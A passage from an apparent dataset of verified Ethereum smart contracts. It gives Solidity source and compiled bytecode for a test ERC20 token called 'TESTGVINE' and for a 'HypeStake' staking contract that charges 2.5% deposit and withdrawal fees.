balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } // File: openzeppelin-solidity/contracts/token/ERC20/BurnableToken.sol /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } // File: openzeppelin-solidity/contracts/token/ERC20/DetailedERC20.sol /** * @title DetailedERC20 token * @dev The decimals are only for visualization purposes. * All the operations are done using the smallest and indivisible token unit, * just as on Ethereum all the operations are done in wei. */ contract DetailedERC20 is ERC20 { string public name; string public symbol; uint8 public decimals; constructor(string _name, string _symbol, uint8 _decimals) public { name = _name; symbol = _symbol; decimals = _decimals; } } // File: openzeppelin-solidity/contracts/token/ERC20/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: contracts/grapevine/token/GrapevineToken.sol /** * @title Grapevine Token * @dev Grapevine Token **/ contract GrapevineToken is DetailedERC20, BurnableToken, StandardToken, Ownable { constructor() DetailedERC20("TESTGVINE", "TESTGVINE", 18) public { totalSupply_ = 825000000 * (10 ** uint256(decimals)); // Update total supply with the decimal amount balances[msg.sender] = totalSupply_; emit Transfer(address(0), msg.sender, totalSupply_); } /** * @dev burns the provided the _value, can be used only by the owner of the contract. * @param _value The value of the tokens to be burnt. */ function burn(uint256 _value) public onlyOwner { super.burn(_value); } }
0x6080604052600436106100da5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100df578063095ea7b31461016957806318160ddd146101a157806323b872dd146101c8578063313ce567146101f257806342966c681461021d578063661884631461023757806370a082311461025b578063715018a61461027c5780638da5cb5b1461029157806395d89b41146102c2578063a9059cbb146102d7578063d73dd623146102fb578063dd62ed3e1461031f578063f2fde38b14610346575b600080fd5b3480156100eb57600080fd5b506100f4610367565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561012e578181015183820152602001610116565b50505050905090810190601f16801561015b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017557600080fd5b5061018d600160a060020a03600435166024356103f5565b604080519115158252519081900360200190f35b3480156101ad57600080fd5b506101b661045b565b60408051918252519081900360200190f35b3480156101d457600080fd5b5061018d600160a060020a0360043581169060243516604435610461565b3480156101fe57600080fd5b506102076105da565b6040805160ff9092168252519081900360200190f35b34801561022957600080fd5b506102356004356105e3565b005b34801561024357600080fd5b5061018d600160a060020a0360043516602435610606565b34801561026757600080fd5b506101b6600160a060020a03600435166106f6565b34801561028857600080fd5b50610235610711565b34801561029d57600080fd5b506102a661077f565b60408051600160a060020a039092168252519081900360200190f35b3480156102ce57600080fd5b506100f461078e565b3480156102e357600080fd5b5061018d600160a060020a03600435166024356107e8565b34801561030757600080fd5b5061018d600160a060020a03600435166024356108cb565b34801561032b57600080fd5b506101b6600160a060020a0360043581169060243516610964565b34801561035257600080fd5b50610235600160a060020a036004351661098f565b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103ed5780601f106103c2576101008083540402835291602001916103ed565b820191906000526020600020905b8154815290600101906020018083116103d057829003601f168201915b505050505081565b336000818152600560209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60045490565b6000600160a060020a038316151561047857600080fd5b600160a060020a03841660009081526003602052604090205482111561049d57600080fd5b600160a060020a03841660009081526005602090815260408083203384529091529020548211156104cd57600080fd5b600160a060020a0384166000908152600360205260409020546104f6908363ffffffff6109af16565b600160a060020a03808616600090815260036020526040808220939093559085168152205461052b908363ffffffff6109c116565b600160a060020a03808516600090815260036020908152604080832094909455918716815260058252828120338252909152205461056f908363ffffffff6109af16565b600160a060020a03808616600081815260056020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b60025460ff1681565b600654600160a060020a031633146105fa57600080fd5b610603816109d4565b50565b336000908152600560209081526040808320600160a060020a03861684529091528120548083111561065b57336000908152600560209081526040808320600160a060020a0388168452909152812055610690565b61066b818463ffffffff6109af16565b336000908152600560209081526040808320600160a060020a03891684529091529020555b336000818152600560209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526003602052604090205490565b600654600160a060020a0316331461072857600080fd5b600654604051600160a060020a03909116907ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482090600090a26006805473ffffffffffffffffffffffffffffffffffffffff19169055565b600654600160a060020a031681565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103ed5780601f106103c2576101008083540402835291602001916103ed565b6000600160a060020a03831615156107ff57600080fd5b3360009081526003602052604090205482111561081b57600080fd5b3360009081526003602052604090205461083b908363ffffffff6109af16565b3360009081526003602052604080822092909255600160a060020a0385168152205461086d908363ffffffff6109c116565b600160a060020a0384166000818152600360209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600560209081526040808320600160a060020a03861684529091528120546108ff908363ffffffff6109c116565b336000818152600560209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260056020908152604080832093909416825291909152205490565b600654600160a060020a031633146109a657600080fd5b610603816109de565b6000828211156109bb57fe5b50900390565b818101828110156109ce57fe5b92915050565b6106033382610a5c565b600160a060020a03811615156109f357600080fd5b600654604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36006805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a038216600090815260036020526040902054811115610a8157600080fd5b600160a060020a038216600090815260036020526040902054610aaa908263ffffffff6109af16565b600160a060020a038316600090815260036020526040902055600454610ad6908263ffffffff6109af16565b600455604080518281529051600160a060020a038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a2604080518281529051600091600160a060020a038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a350505600a165627a7a723058203a2d57aca77219c8e4357257986a006d253e068e6d809d7aa2f40e58e019e5d40029
{"success": true, "error": null, "results": {}}
3,056
0x672bf615718637b3349f8c417b0f0364a244593b
/** *Submitted for verification at Etherscan.io on 2020-11-21 */ /** *Submitted for verification at Etherscan.io on 2020-11-10 */ /** *Submitted for verification at Etherscan.io on 2020-11-09 */ /** *Submitted for verification at Etherscan.io on 2020-11-08 */ /** *Submitted for verification at Etherscan.io on 2020-11-08 */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.7.4; // ---------------------------------------------------------------------------- // 'Hype' Staking smart contract. 2.5% deposit and withdrawal fees are rewarded to all staking members based on their staking amount. // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // SafeMath library // ---------------------------------------------------------------------------- /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } function ceil(uint a, uint m) internal pure returns (uint r) { return (a + m - 1) / m * m; } } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address payable public owner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address payable _newOwner) public onlyOwner { require(_newOwner != address(0), "ERC20: sending to the zero address"); owner = _newOwner; emit OwnershipTransferred(msg.sender, _newOwner); } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // ---------------------------------------------------------------------------- interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address tokenOwner) external view returns (uint256 balance); function allowance(address tokenOwner, address spender) external view returns (uint256 remaining); function transfer(address to, uint256 tokens) external returns (bool success); function approve(address spender, uint256 tokens) external returns (bool success); function transferFrom(address from, address to, uint256 tokens) external returns (bool success); function transferFromStake(address from, address to, uint256 tokens) external returns (bool success); function burnTokens(uint256 _amount) external; event Transfer(address indexed from, address indexed to, uint256 tokens); event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens); } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract HypeStake is Owned { using SafeMath for uint256; address public Hype = 0x610c67be018A5C5bdC70ACd8DC19688A11421073; address rewardMaker = 0x181b3a5c476fEecC97Cf7f31Ea51093f324B726f; uint256 public totalStakes = 0; uint256 stakingFee = 25; // 2.5% uint256 unstakingFee = 25; // 2.5% uint256 public totalDividends = 0; uint256 private scaledRemainder = 0; uint256 private scaling = uint256(10) ** 12; uint public round = 1; uint256 public maxAllowed = 6000000000000000000000; //6000 tokens total allowed to be staked uint public blockPerDay = 6539; uint public locktime = 1 * blockPerDay; //1days lock to test /* Fees breaker, to protect withdraws if anything ever goes wrong */ bool public breaker = false; // withdraw can be lock,, default unlocked mapping(address => uint) public farmLock; // period that your sake it locked to keep it for farming //uint public lock = 0; // farm lock in blocks ~ 0 days for 15s/block //address public admin; struct USER{ uint256 stakedTokens; uint256 lastDividends; uint256 fromTotalDividend; uint round; uint256 remainder; } address[] internal stakeholders; mapping(address => USER) stakers; mapping (uint => uint256) public payouts; // keeps record of each payout event STAKED(address staker, uint256 tokens, uint256 stakingFee); event EARNED(address staker, uint256 tokens); event UNSTAKED(address staker, uint256 tokens, uint256 unstakingFee); event PAYOUT(uint256 round, uint256 tokens, address sender); event CLAIMEDREWARD(address staker, uint256 reward); event WithdrawalLockDurationSet(uint256 value, address sender); function setBreaker(bool _breaker) external onlyOwner { //require(msg.sender == admin, "admin only"); breaker = _breaker; } function calculateReward(address _stakeholder) public view returns(uint256) { uint256 bal = yourStakedHype(_stakeholder); return bal.div(totalStakes); } function distributeRewards(uint256 tokens) public { require(msg.sender == address(rewardMaker), "ERC20: You'r not allowed to use this function"); require(IERC20(Hype).transferFromStake(msg.sender, address(this), tokens), "Tokens cannot be transferred from funder account"); _addPayout(tokens); } function isStakeholder(address _address) public view returns(bool) { for (uint256 s = 0; s < stakeholders.length; s += 1){ if (_address == stakeholders[s]) return (true); } return (false); } function addStakeholder(address _stakeholder) public { (bool _isStakeholder) = isStakeholder(_stakeholder); if(!_isStakeholder) stakeholders.push(_stakeholder); } // ------------------------------------------------------------------------ // Token holders can stake their tokens using this function // @param tokens number of tokens to stake // ------------------------------------------------------------------------ function STAKE(uint256 tokens) external { require(totalStakes <= maxAllowed, "Total Stakes amount exceed"); require(IERC20(Hype).transferFromStake(msg.sender, address(this), tokens), "Tokens cannot be transferred from user account"); uint256 _stakingFee = 0; if(totalStakes > 0) _stakingFee= (onePercent(tokens).mul(stakingFee)).div(10); if(totalStakes > 0) // distribute the staking fee accumulated before updating the user's stake _addPayout(_stakingFee); // add pending rewards to remainder to be claimed by user later, if there is any existing stake uint256 owing = pendingReward(msg.sender); stakers[msg.sender].remainder += owing; stakers[msg.sender].stakedTokens = (tokens.sub(_stakingFee)).add(stakers[msg.sender].stakedTokens); stakers[msg.sender].lastDividends = owing; stakers[msg.sender].fromTotalDividend= totalDividends; stakers[msg.sender].round = round; (bool _isStakeholder) = isStakeholder(msg.sender); if(!_isStakeholder) farmLock[msg.sender] = block.timestamp; totalStakes = totalStakes.add(tokens.sub(_stakingFee)); addStakeholder(msg.sender); emit STAKED(msg.sender, tokens.sub(_stakingFee), _stakingFee); } function calculateExitBlock(address _staker) public view returns (uint256){ require(_staker != address(0), "ERC20: sending to the zero address"); // uint enterBlock = farmLock[msg.sender]; //uint exitBlock = enterBlock.add(locktime) return farmLock[msg.sender]; } // ------------------------------------------------------------------------ // Owners can send the funds to be distributed to stakers using this function // @param tokens number of tokens to distribute // ------------------------------------------------------------------------ function ADDFUNDS(uint256 tokens) external { require(IERC20(Hype).transferFromStake(msg.sender, address(this), tokens), "Tokens cannot be transferred from funder account"); _addPayout(tokens); } // ------------------------------------------------------------------------ // Private function to register payouts // ------------------------------------------------------------------------ function _addPayout(uint256 tokens) private{ // divide the funds among the currently staked tokens // scale the deposit and add the previous remainder uint256 available = (tokens.mul(scaling)).add(scaledRemainder); uint256 dividendPerToken = available.div(totalStakes); scaledRemainder = available.mod(totalStakes); totalDividends = totalDividends.add(dividendPerToken); payouts[round] = payouts[round - 1].add(dividendPerToken); emit PAYOUT(round, tokens, msg.sender); round++; } // ------------------------------------------------------------------------ // Stakers can claim their pending rewards using this function // ------------------------------------------------------------------------ function CLAIMREWARD() public { if(totalDividends > stakers[msg.sender].fromTotalDividend){ uint256 owing = pendingReward(msg.sender); owing = owing.add(stakers[msg.sender].remainder); stakers[msg.sender].remainder = 0; require(IERC20(Hype).transferFromStake(address(this), msg.sender,owing), "ERROR: error in sending reward from contract"); emit CLAIMEDREWARD(msg.sender, owing); stakers[msg.sender].lastDividends = owing; // unscaled stakers[msg.sender].round = round; // update the round stakers[msg.sender].fromTotalDividend = totalDividends; // scaled } } // ------------------------------------------------------------------------ // Get the pending rewards of the staker // @param _staker the address of the staker // ------------------------------------------------------------------------ function pendingReward(address staker) private returns (uint256) { require(staker != address(0), "ERC20: sending to the zero address"); uint stakersRound = stakers[staker].round; uint256 amount = ((totalDividends.sub(payouts[stakersRound - 1])).mul(stakers[staker].stakedTokens)).div(scaling); stakers[staker].remainder += ((totalDividends.sub(payouts[stakersRound - 1])).mul(stakers[staker].stakedTokens)) % scaling ; return amount; } function getPendingReward(address staker) public view returns(uint256 _pendingReward) { require(staker != address(0), "ERC20: sending to the zero address"); uint stakersRound = stakers[staker].round; uint256 amount = ((totalDividends.sub(payouts[stakersRound - 1])).mul(stakers[staker].stakedTokens)).div(scaling); amount += ((totalDividends.sub(payouts[stakersRound - 1])).mul(stakers[staker].stakedTokens)) % scaling ; return (amount.add(stakers[staker].remainder)); } // ------------------------------------------------------------------------ // Stakers can un stake the staked tokens using this function // @param tokens the number of tokens to withdraw // ------------------------------------------------------------------------ function WITHDRAW(uint256 tokens) external { require(breaker == false, "Admin Restricted WITHDRAW"); require(stakers[msg.sender].stakedTokens >= tokens && tokens > 0, "Invalid token amount to withdraw"); //uint exitBlock = calculateExitBlock(msg.sender); require(farmLock[msg.sender]+30 days <= block.timestamp, "Withdraw can only be done after 30 days"); uint256 _unstakingFee = (onePercent(tokens).mul(unstakingFee)).div(10); // add pending rewards to remainder to be claimed by user later, if there is any existing stake uint256 owing = pendingReward(msg.sender); stakers[msg.sender].remainder += owing; require(IERC20(Hype).transfer(msg.sender, tokens.sub(_unstakingFee)), "Error in un-staking tokens"); stakers[msg.sender].stakedTokens = stakers[msg.sender].stakedTokens.sub(tokens); stakers[msg.sender].lastDividends = owing; stakers[msg.sender].fromTotalDividend= totalDividends; stakers[msg.sender].round = round; totalStakes = totalStakes.sub(tokens); if(totalStakes > 0) // distribute the un staking fee accumulated after updating the user's stake _addPayout(_unstakingFee); emit UNSTAKED(msg.sender, tokens.sub(_unstakingFee), _unstakingFee); } // ------------------------------------------------------------------------ // Private function to calculate 1% percentage // ------------------------------------------------------------------------ function onePercent(uint256 _tokens) private pure returns (uint256){ uint256 roundValue = _tokens.ceil(100); uint onePercentofTokens = roundValue.mul(100).div(100 * 10**uint(2)); return onePercentofTokens; } // ------------------------------------------------------------------------ // Get the number of tokens staked by a staker // @param _staker the address of the staker // ------------------------------------------------------------------------ function yourStakedHype(address staker) public view returns(uint256 stakedHype){ require(staker != address(0), "ERC20: sending to the zero address"); return stakers[staker].stakedTokens; } // ------------------------------------------------------------------------ // Get the Hype balance of the token holder // @param user the address of the token holder // ------------------------------------------------------------------------ function yourHypeBalance(address user) external view returns(uint256 HypeBalance){ require(user != address(0), "ERC20: sending to the zero address"); return IERC20(Hype).balanceOf(user); } // -------------------- LOCK CODE ------------------------------------------------------------------------ }
0x608060405234801561001057600080fd5b50600436106101735760003560e01c80638d4c7129116100de578063ca39967111610097578063e49352fe11610071578063e49352fe14610398578063e5c42fd1146103a0578063ef037b90146103c6578063f2fde38b146103ec57610173565b8063ca3996711461034d578063ca84d59114610355578063d82e39621461037257610173565b80638d4c7129146102cc5780638da5cb5b146102f2578063951ef202146102fa578063997664d714610320578063b53d6c2414610328578063bf9befb11461034557610173565b806359974e381161013057806359974e38146102185780635c0aeb0e146102355780635d7f64a31461025457806361c533b41461027a57806369673c7e146102825780636b4fa342146102a657610173565b80630f41e0d214610178578063146ca5311461019457806329652e86146101ae5780632c75bcda146101cb5780634baf782e146101ea5780634df9d6ba146101f2575b600080fd5b610180610412565b604080519115158252519081900360200190f35b61019c61041b565b60408051918252519081900360200190f35b61019c600480360360208110156101c457600080fd5b5035610421565b6101e8600480360360208110156101e157600080fd5b5035610433565b005b6101e8610738565b61019c6004803603602081101561020857600080fd5b50356001600160a01b03166108c1565b6101e86004803603602081101561022e57600080fd5b50356109da565b6101e86004803603602081101561024b57600080fd5b50351515610af0565b61019c6004803603602081101561026a57600080fd5b50356001600160a01b0316610b1a565b61019c610b7d565b61028a610b83565b604080516001600160a01b039092168252519081900360200190f35b61019c600480360360208110156102bc57600080fd5b50356001600160a01b0316610b92565b61019c600480360360208110156102e257600080fd5b50356001600160a01b0316610bee565b61028a610cb4565b61019c6004803603602081101561031057600080fd5b50356001600160a01b0316610cc3565b61019c610cd5565b6101e86004803603602081101561033e57600080fd5b5035610a23565b61019c610cdb565b61019c610ce1565b6101e86004803603602081101561036b57600080fd5b5035610ce7565b61019c6004803603602081101561038857600080fd5b50356001600160a01b0316610f3d565b61019c610f67565b6101e8600480360360208110156103b657600080fd5b50356001600160a01b0316610f6d565b610180600480360360208110156103dc57600080fd5b50356001600160a01b0316610fcf565b6101e86004803603602081101561040257600080fd5b50356001600160a01b0316611024565b600d5460ff1681565b60095481565b60116020526000908152604090205481565b600d5460ff161561048b576040805162461bcd60e51b815260206004820152601960248201527f41646d696e205265737472696374656420574954484452415700000000000000604482015290519081900360640190fd5b3360009081526010602052604090205481118015906104aa5750600081115b6104fb576040805162461bcd60e51b815260206004820181905260248201527f496e76616c696420746f6b656e20616d6f756e7420746f207769746864726177604482015290519081900360640190fd5b336000908152600e60205260409020544262278d0090910111156105505760405162461bcd60e51b81526004018080602001828103825260278152602001806116426027913960400191505060405180910390fd5b6000610572600a61056c600554610566866110cb565b906110ea565b9061114c565b9050600061057f3361118e565b3360008181526010602052604090206004018054830190556001549192506001600160a01b039091169063a9059cbb906105b9868661129c565b6040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b1580156105ff57600080fd5b505af1158015610613573d6000803e3d6000fd5b505050506040513d602081101561062957600080fd5b505161067c576040805162461bcd60e51b815260206004820152601a60248201527f4572726f7220696e20756e2d7374616b696e6720746f6b656e73000000000000604482015290519081900360640190fd5b33600090815260106020526040902054610696908461129c565b336000908152601060205260409020908155600181018290556006546002820155600954600391820155546106cb908461129c565b6003819055156106de576106de826112de565b7faeb913af138cc126643912346d844a49a83761eb58fcfc9e571fc99e1b3d9fa23361070a858561129c565b604080516001600160a01b0390931683526020830191909152818101859052519081900360600190a1505050565b3360009081526010602052604090206002015460065411156108bf57600061075f3361118e565b336000908152601060205260409020600401549091506107809082906113c3565b336000818152601060209081526040808320600490810184905560015482516313bbe5b960e01b8152309281019290925260248201959095526044810186905290519495506001600160a01b03909316936313bbe5b993606480820194918390030190829087803b1580156107f457600080fd5b505af1158015610808573d6000803e3d6000fd5b505050506040513d602081101561081e57600080fd5b505161085b5760405162461bcd60e51b815260040180806020018281038252602c8152602001806115d3602c913960400191505060405180910390fd5b604080513381526020810183905281517f8a0128b5f12decc7d739e546c0521c3388920368915393f80120bc5b408c7c9e929181900390910190a1336000908152601060205260409020600181019190915560095460038201556006546002909101555b565b60006001600160a01b0382166109085760405162461bcd60e51b81526004018080602001828103825260228152602001806115ff6022913960400191505060405180910390fd5b6001600160a01b038216600090815260106020908152604080832060038101546008549154600019820186526011909452918420546006549294936109559361056c92610566919061129c565b6008546001600160a01b03861660009081526010602090815260408083205460001988018452601190925290912054600654939450919261099a92610566919061129c565b816109a157fe5b6001600160a01b03861660009081526010602052604090206004015491900691909101906109d09082906113c3565b925050505b919050565b6002546001600160a01b03163314610a235760405162461bcd60e51b815260040180806020018281038252602d8152602001806116c7602d913960400191505060405180910390fd5b600154604080516313bbe5b960e01b81523360048201523060248201526044810184905290516001600160a01b03909216916313bbe5b9916064808201926020929091908290030181600087803b158015610a7d57600080fd5b505af1158015610a91573d6000803e3d6000fd5b505050506040513d6020811015610aa757600080fd5b5051610ae45760405162461bcd60e51b81526004018080602001828103825260308152602001806116976030913960400191505060405180910390fd5b610aed816112de565b50565b6000546001600160a01b03163314610b0757600080fd5b600d805460ff1916911515919091179055565b60006001600160a01b038216610b615760405162461bcd60e51b81526004018080602001828103825260228152602001806115ff6022913960400191505060405180910390fd5b506001600160a01b031660009081526010602052604090205490565b600c5481565b6001546001600160a01b031681565b60006001600160a01b038216610bd95760405162461bcd60e51b81526004018080602001828103825260228152602001806115ff6022913960400191505060405180910390fd5b5050336000908152600e602052604090205490565b60006001600160a01b038216610c355760405162461bcd60e51b81526004018080602001828103825260228152602001806115ff6022913960400191505060405180910390fd5b600154604080516370a0823160e01b81526001600160a01b038581166004830152915191909216916370a08231916024808301926020929190829003018186803b158015610c8257600080fd5b505afa158015610c96573d6000803e3d6000fd5b505050506040513d6020811015610cac57600080fd5b505192915050565b6000546001600160a01b031681565b600e6020526000908152604090205481565b60065481565b60035481565b600a5481565b600a546003541115610d40576040805162461bcd60e51b815260206004820152601a60248201527f546f74616c205374616b657320616d6f756e7420657863656564000000000000604482015290519081900360640190fd5b600154604080516313bbe5b960e01b81523360048201523060248201526044810184905290516001600160a01b03909216916313bbe5b9916064808201926020929091908290030181600087803b158015610d9a57600080fd5b505af1158015610dae573d6000803e3d6000fd5b505050506040513d6020811015610dc457600080fd5b5051610e015760405162461bcd60e51b815260040180806020018281038252602e815260200180611669602e913960400191505060405180910390fd5b60035460009015610e2357610e20600a61056c600454610566866110cb565b90505b60035415610e3457610e34816112de565b6000610e3f3361118e565b3360009081526010602052604090206004810180548301905554909150610e7090610e6a858561129c565b906113c3565b336000818152601060205260408120928355600183018490556006546002840155600954600390930192909255610ea690610fcf565b905080610ec057336000908152600e602052604090204290555b610ed6610ecd858561129c565b600354906113c3565b600355610ee233610f6d565b7f99b6f4b247a06a3dbcda8d2244b818e254005608c2455221a00383939a119e7c33610f0e868661129c565b604080516001600160a01b0390931683526020830191909152818101869052519081900360600190a150505050565b600080610f4983610b1a565b9050610f606003548261114c90919063ffffffff16565b9392505050565b600b5481565b6000610f7882610fcf565b905080610fcb57600f80546001810182556000919091527f8d1108e10bcb7c27dddfc02e